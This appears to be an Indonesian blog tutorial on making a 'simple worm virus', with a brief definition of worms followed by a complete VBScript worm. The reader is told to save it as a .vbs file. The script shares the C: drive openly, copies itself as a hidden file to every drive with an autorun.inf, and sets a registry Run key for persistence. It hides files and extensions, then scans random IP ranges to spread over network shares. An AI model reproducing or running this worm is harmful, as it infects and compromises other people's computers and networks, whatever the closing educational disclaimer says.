Rabu

cara membuat virus worm sederhana

hai semua pada kesempatan kali ini saya akan berbagi bagaimana cara membuat virus worm yang simple. sebelunya kita harus tau dulu apa itu virus worm.
Cacing komputer atau juga di sebut worm (bahasa Inggris: computer worm atau worm) dalam keamanan komputer, adalah sebuah program komputer yang dapat menggandakan dirinya secara sendiri dalam sistem komputer. Sebuah worm dapat menggandakan dirinya dengan memanfaatkan jarin
gan (LAN/WAN/Internet) tanpa perlu campur tangan dari user itu sendiri. Worm tidak seperti virus komputer biasa, yang menggandakan dirinya dengan cara menyisipkan program dirinya pada program yang ada dalam komputer tersebut, tapi worm memanfaatkan celah keamanaan yang memang terbuka atau lebih dikenal dengan sebutan vulnerability. Beberapa worm juga menghabiskan bandwidth yang tersedia. Worm merupakan evolusi dari virus komputer. Hanya ada satu cara untuk mengatasi worm yaitu dengan menutup celah keamanan yang terbuka tersebut, dengan cara meng-update patch atau Service Pack dari operating sistem yang digunakan dengan patch atau Service Pack yang paling terbaru.
Virus komputer memang dapat menginfeksi berkas-berkas dalam sebuah sistem komputer, tapi worm dapat melakukannya dengan lebih baik. Selain dapat menyebar dalam sebuah sistem, worm juga dapat menyebar ke banyak sistem melalui jaringan yang terhubung dengan sistem yang terinfeksi. Beberapa worm, juga dapat mencakup kode-kode virus yang dapat merusak berkas, mencuri dokumen, e-mail, atau melakukan hal lainnya yang merusak, atau hanya menjadikan sistem terinfeksi tidak berguna.
Beberapa contoh dari worm adalah sebagai berikut:

 ok siapin alat-alatnya :

-kopi panas kalau haus :)
-cemilan
-seperangkat bantal dan kasur kalau ngantuk :)
-dan terakhir siapin tenda :D ;D kayak mau kemping aja.. Just kidding

ok buka notepad lalu masukkan script berikut

'54807463 On Error Resume Next Dim Wshshell,Markas,fso,a,RG,raxa,raxb,raxc,raxd,rand,dot,drivecon,sharename,count count = "0" dot = "." drivecon="0" set wshnetwork = wscript.createobject("wscript.network") Set Wshshell = Wscript.CreateObject("Wscript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") RG = "Software\Microsoft\Windows\CurrentVersion" Set Markas = fso.GetSpecialFolder(0) SU = Wshshell.SpecialFolders("AllUsersStartUp") SU = Replace(SU, "C:", "s:") If fso.FileExists("autorun.inf") then Wshshell.Run "explorer.exe " End if Wshshell.Run("net share system=C:\ /unlimited"), 0, true Randomize For i =1 to 8 r = int(rnd * 50) + 66 polm = polm & Chr(r) next polm = Chr(39) & polm & Chr(13) & Chr(10) Set dropper = fso.OpenTextFile(Wscript.ScriptFullName, 1) strRan = dropper.readline src = dropper.readall strRan = polm randmat() Do If not fso.FileExists(Markas & "\sabotage.vbs") then Set dropper = fso.CreateTextFile(Markas & "\sabotage.vbs", True) dropper.write strRan dropper.write src dropper.Close fso.GetFile(Markas & "\sabotage.vbs").attributes = 39 Wshshell.Run "wscript.exe " & Markas & "\sabotage.vbs" End if Wshshell.RegWrite "HKLM" & RG & "\Run\WinSystem", Markas & "\sabotage.vbs" Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\HideFileExt", "1", "REG_DWORD" Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\HIDDEN", "0", "REG_DWORD" Wshshell.RegWrite "HKCU" & RG & "\EXPLORER\ADVANCED\SHOWSUPERHIDDEN", "0", "REG_DWORD" for each a in fso.drives If a.isready then fso.GetFile(a & "\sabotage.vbs").Attributes = 0 Set dropper = fso.CreateTextFile(a & "\sabotage.vbs", True) dropper.write strRan dropper.write src dropper.Close fso.GetFile(a & "\sabotage.vbs").Attributes = 39 fso.GetFile(a & "\autorun.inf").Attributes = 0 Set auto = fso.CreateTextFile(a & "\autorun.inf", True) auto.WriteLine("[autorun]") auto.WriteLine("ShellExecute=wscript.exe sabotage.vbs") auto.Close fso.GetFile(a & "\autorun.inf").Attributes = 39 End if next If not Wscript.ScriptFullName = Markas & "\sabotage.vbs" then Wscript.Quit End if do while drivecon = "0" check() shareformat() wshnetwork.mapnetworkdrive "s:", sharename enumdrives() loop copyfiles() disconnect() Wscript.Sleep 60000 Loop function disconnect() wshnetwork.removenetworkdrive "s:" drivecon = "0" end function function copyfiles() Set fso = CreateObject("scripting.filesystemobject") fso.copyfile Wscript.ScriptFullName, SU & "\sab0tage.vbs" end function function check() raxd = raxd + 1 if raxd = "255" then randmat() end function function shareformat() sharename = "\" & raxa & dot & raxb & dot & raxc & dot & raxd & "\C" end function function enumdrives() Set odrives = wshnetwork.enumnetworkdrives For i = 0 to odrives.Count -1 if sharename = odrives.item(i) then drivecon = 1 else ' drivecon = 0 end if Next end function function randum() rand = int((254 * rnd) + 1) end function function randmat() if count < 50 then raxa=Int((16) * Rnd + 199) count=count + 1 else randum() raxa= rand end if randum() raxb=rand randum() raxc=rand raxd="1" end function

lalu simpan dengan ekstensi .vbs
artikel ini hanya bertujuan sebagai pembelajaran dan informasi dan penulis tidak bertanggung jawab atas segala resiko apapun yang terjadi akibat dari penyalahgunaan artikel ini.

"Semoga Bermanfaat"





Terima Kasih Telah Mampir Di Blog sederhana Ini. Jangan lupa klik satu iklan yang terdapat diblog ini untuk mendukung kami :).

Pembaca yang baik adalah yang meninggalkan jejak.
EmoticonEmoticon